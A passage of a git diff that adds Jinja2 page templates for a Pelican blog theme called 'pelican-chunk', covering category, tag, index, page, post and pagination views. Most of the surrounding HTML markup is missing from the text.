+ + + \ No newline at end of file diff --git a/themes/pelican-chunk/templates/categories.html b/themes/pelican-chunk/templates/categories.html new file mode 100644 index 0000000..53bcd6f --- /dev/null +++ b/themes/pelican-chunk/templates/categories.html @@ -0,0 +1,14 @@ +{% extends "base.html" %} +{% block title %}{{ SITENAME }} — Categories{% endblock %} +{% block content_title %} +
+

Categories on {{ SITENAME }} …

+
+{% endblock %} +{% block content %} + +{% endblock %} diff --git a/themes/pelican-chunk/templates/category.html b/themes/pelican-chunk/templates/category.html new file mode 100644 index 0000000..74ce557 --- /dev/null +++ b/themes/pelican-chunk/templates/category.html @@ -0,0 +1,7 @@ +{% extends "index.html" %} +{% block title %}{{ SITENAME }} — Articles in Category {{ category|striptags }}{% endblock %} +{% block content_title %} +
+

Filed under {{ category }} …

+
+{% endblock %} diff --git a/themes/pelican-chunk/templates/disqus_script.html b/themes/pelican-chunk/templates/disqus_script.html new file mode 100644 index 0000000..4a3718a --- /dev/null +++ b/themes/pelican-chunk/templates/disqus_script.html @@ -0,0 +1,9 @@ + diff --git a/themes/pelican-chunk/templates/index.html b/themes/pelican-chunk/templates/index.html new file mode 100644 index 0000000..5f2a3ff --- /dev/null +++ b/themes/pelican-chunk/templates/index.html @@ -0,0 +1,9 @@ +{% extends "base.html" %} +{% block content_title %} +{% endblock %} +{% block content %} + {% for article in articles_page.object_list %} + {% include 'post.html' %} + {% endfor %} + {% include 'pagination.html' %} +{% endblock content %} diff --git a/themes/pelican-chunk/templates/page.html b/themes/pelican-chunk/templates/page.html new file mode 100644 index 0000000..a28f082 --- /dev/null +++ b/themes/pelican-chunk/templates/page.html @@ -0,0 +1,18 @@ +{% extends "base.html" %} +{% block title %}{{ SITENAME }} — {{ page.title|striptags }}{% endblock %} +{% block content %} +
+
+ + +
+
+

{{ page.title }}

+
+ {{ page.content }} +
+
+
+{% endblock %} + + diff --git a/themes/pelican-chunk/templates/pagination.html b/themes/pelican-chunk/templates/pagination.html new file mode 100644 index 0000000..fd67d5b --- /dev/null +++ b/themes/pelican-chunk/templates/pagination.html @@ -0,0 +1,18 @@ +{% if DEFAULT_PAGINATION %} +
+ {% if articles_page.has_previous() %} +
+ {% if articles_page.previous_page_number() == 1 %} + + {% else %} + + {% endif %} + ← Newer posts +
+ {% endif %} + {% if articles_page.has_next() %} +
Older posts →
+ {% endif %} +
+{% endif %} + diff --git a/themes/pelican-chunk/templates/post.html b/themes/pelican-chunk/templates/post.html new file mode 100644 index 0000000..d4711a6 --- /dev/null +++ b/themes/pelican-chunk/templates/post.html @@ -0,0 +1,40 @@ +
+
+
{{ article.locale_date }}
+ {% if article.location %} + {{ article.location }} + {% endif %} + + {% if article.author and not SINGLE_AUTHOR %} + By {{ article.author }} + {% endif %} + {% if DISQUS_SITENAME %} +
comments
+ {% endif %} + {% if article.author_gravatar %} + {{ article.author }} + {% endif %} + {% if DISPLAY_CATEGORIES_ON_MENU %} + {{ article.category }} + {% endif %} +
+
+

+ {{ article.title }} +

+
+ {{ article.content }} +
+ {% if article.tags %} + Tagged + {% set delimiter = joiner() %} + {% for tag in article.tags|sort %}{{- delimiter() }} {% endfor %} + + {% endif %} +
+
\ No newline at end of file diff --git a/themes/pelican-chunk/templates/tag.html b/themes/pelican-chunk/templates/tag.html new file mode 100644 index 0000000..d2c21d3 --- /dev/null +++ b/themes/pelican-chunk/templates/tag.html @@ -0,0 +1,7 @@ +{% extends "index.html" %} +{% block title %}{{ SITENAME }} — Articles tagged {{ tag }}{% endblock %} +{% block content_title %} +
+

Tagged with {{ tag }} …

+
+{% endblock %} diff --git a/themes/pelican-chunk/templates/tags.html b/themes/pelican-chunk/templates/tags.html new file mode 100644 index 0000000..3e4e407 --- /dev/null +++ b/themes/pelican-chunk/templates/tags.html @@ -0,0 +1,14 @@ +{% extends "base.html" %} +{% block title %}{{ SITENAME }} — Tags{% endblock %} +{% block content_title %} +
+

Tags on {{ SITENAME }} …

+
+{% endblock %} +{% block content %} + +{% endblock %}